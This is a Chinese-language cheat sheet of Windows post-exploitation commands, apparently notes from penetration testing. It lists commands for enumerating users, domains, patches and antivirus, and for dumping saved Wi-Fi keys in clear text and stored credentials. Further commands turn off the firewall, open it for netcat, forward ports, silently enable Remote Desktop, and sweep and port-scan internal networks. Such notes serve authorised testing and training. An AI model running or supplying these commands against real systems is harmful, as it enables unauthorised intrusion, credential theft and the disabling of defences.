命令:whoami
命令:net user username
命令:net user username /domain
命令:whoami /all
命令:ipconfig /all
命令:systeminfo
命令:echo %PROCESSOR_ARCHITECTURE%
命令:wmic product get name,version
命令:wmic service list brief
命令:wmic process list brief
命令:tasklist /v
命令:wmic startup get command,caption
命令:schtasks /query /fo LIST /v
命令:net statistics workstation
命令:net localgroup administrators
命令:query user || qwinsta
命令:quser
命令:netstat -nao
命令:net session
命令:wmic qfe get Caption,Description,HotFixID,InstalledOn
systeminfo
命令:net share
命令:wmic share get name,path,status
命令:for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
命令:cmdkey /l
命令:wmic /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:list
命令:dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
tasklist在线网站:https://mrxn.net/avlist/
先在cmd中使用tasklist 命令列出进程列表,然后把整个列表复制到网站中去检测。
命令:netsh advfirewall firewall show rule name=all dir=in
命令:netsh firewall show config
命令:netsh firewall set opmode disable
// Windows Server 2003 系统及之前版本
命令:netsh advfirewall set allprofiles state off
// Windows Server 2003 之后系统版本
命令:netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
// Windows Server 2003 系统及之前版本,允许指定程序全部连接Windows Server 2003 之后系统版本,情况如下:
3.2、允许指定程序连入
命令:netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
3.2、允许指定程序连出
命令:netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"
3.3、允许 3389 端口放行
命令:netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
命令:netsh interface portproxy add v4tov4 listenaddress=192.168.193.1 listenport=701 connectaddress=192.168.192.128 connectport=701
命令:netsh interface portproxy add v4tov4 listenport=8080 connectaddress=192.168.56.101 connectport=8080
命令:netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
命令:netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
\\需要管理员
注册表查询RDP是否开启(0x1为关闭、0x0为开启)
命令:REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
命令:REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
命令:REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00003d3 (3389)
\\需要管理员
命令:REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
//(/f强制操作) 需要管理员
命令:wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
命令:wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
命令:reg query “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Terminal Server Client\Servers” /s
NetBIOS
是局域网程序使用的一种应用程序编程接口(API),为程序提供请求低级别服务的统一的命令集,为局域网提供了网络及其他特殊功能。几乎所有局域网都是在NetBIOS协议的基础上工作的。NetBIOS也是计算机的标识名,用于局域网中计算机的访问。
NetBIOS的工作流程就是正常的机器名解析查询应答过程。nbtscan-存活 -r 192.168.245.1/24
命令:For /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.245.%I | findstr “TTL”
命令:arp-scan.exe -t 10.10.10.1/24
命令:nmap -Pn -sT -p22,445,139,135 10.10.10.1/24
1、nmap
2、routescan
3、scanport
4、auxiliary/scanner/portscan/tcp
5、powershell.exe -exec bypass -Command “& {Import-Module
./Invoke-Portscan.ps1; Invoke-Portscan -Hosts 192.168.245.120 -T 4
-ports ‘445,135,139,137,22’ -oA ‘port.txt’}”